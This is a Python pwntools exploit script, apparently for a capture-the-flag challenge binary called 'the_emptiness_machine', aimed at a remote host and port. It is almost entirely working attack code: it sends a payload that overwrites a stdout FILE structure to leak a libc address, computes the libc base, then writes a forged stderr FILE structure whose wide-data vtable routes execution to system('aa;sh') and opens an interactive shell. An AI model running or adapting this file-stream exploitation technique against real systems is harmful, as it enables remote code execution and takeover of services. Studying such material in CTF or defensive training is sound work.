#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 154.57.164.66 --port 32095 --no-auto ./the_emptiness_machine
from pwn import *
import os
if 'TMUX' in os.environ:
    context.terminal = ['tmux', 'splitw', '-h']

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './the_emptiness_machine')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '154.57.164.70'
port = int(args.PORT or 30584)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
breakrva 0x1215
breakrva 0x1247
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      No canary found
# NX:         NX enabled
# PIE:        PIE enabled
# RUNPATH:    b'./glibc/'
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No

io = start()

payload = p64(0xFBAD1800) + b'\x00' * 24 + b'\n'

io.sendafter(b'interaction: ', payload)

ret = io.recvline()

leak = u64(ret[0:8])
log.info(f'leak: {hex(leak)}')
libc_base = leak - 2115140
log.info(f'libc_base: {hex(libc_base)}')

libc_exe = ELF('./glibc/libc.so.6', checksec=False)
libc_exe.address = libc_base

addr_stderr = libc_exe.sym['_IO_2_1_stderr_']
addr_system = libc_exe.sym['system']
addr_lock = libc_exe.sym['_IO_stdfile_2_lock']
addr_wfile_jumps = libc_exe.sym['_IO_wfile_jumps']

fake_file = libc_exe.symbols["_IO_2_1_stderr_"]
payload = flat(
    {
        # fake_file->file._flags
        # requirements:
        # (_flags & 0x0002) == 0
        # (_flags & 0x0008) == 0
        # (_flags & 0x0800) == 0
        # basic approach with spaces:
        # " sh\x00"
        # 0x20, 0x73, 0x68, 0x00
        # 0x00: b" sh\x00",
        # without spaces:
        # 0x61, 0x61, 0x3b, 0x73, 0x68, 0x00
        0x00: b"aa;sh\x00",
        # fake_file->file._wide_data->_IO_write_base
        0x08: p64(0),
        # fake_file->file._IO_write_base
        # fake_file->file._wide_data->_IO_buf_base
        0x20: p64(0),
        # fake_file->file._IO_write_ptr
        0x28: p64(1),
        # fake_file->file._wide_data->_wide_vtable->__doallocate
        0x68: libc_exe.symbols["system"],
        # fake_file->file._lock
        0x88: libc_exe.symbols["_IO_stdfile_2_lock"],
        # fake_file->file._wide_data
        0xA0: fake_file - 0x10,
        # fake_file->file._mode
        0xC0: p64(0),
        # fake_file->file._wide_data->_wide_vtable
        0xD0: fake_file,
        # fake_file->vtable
        0xD8: libc_exe.symbols["_IO_wfile_jumps"],
    }
)

io.sendafter(b'interaction: ', payload + b'\n')
io.interactive()
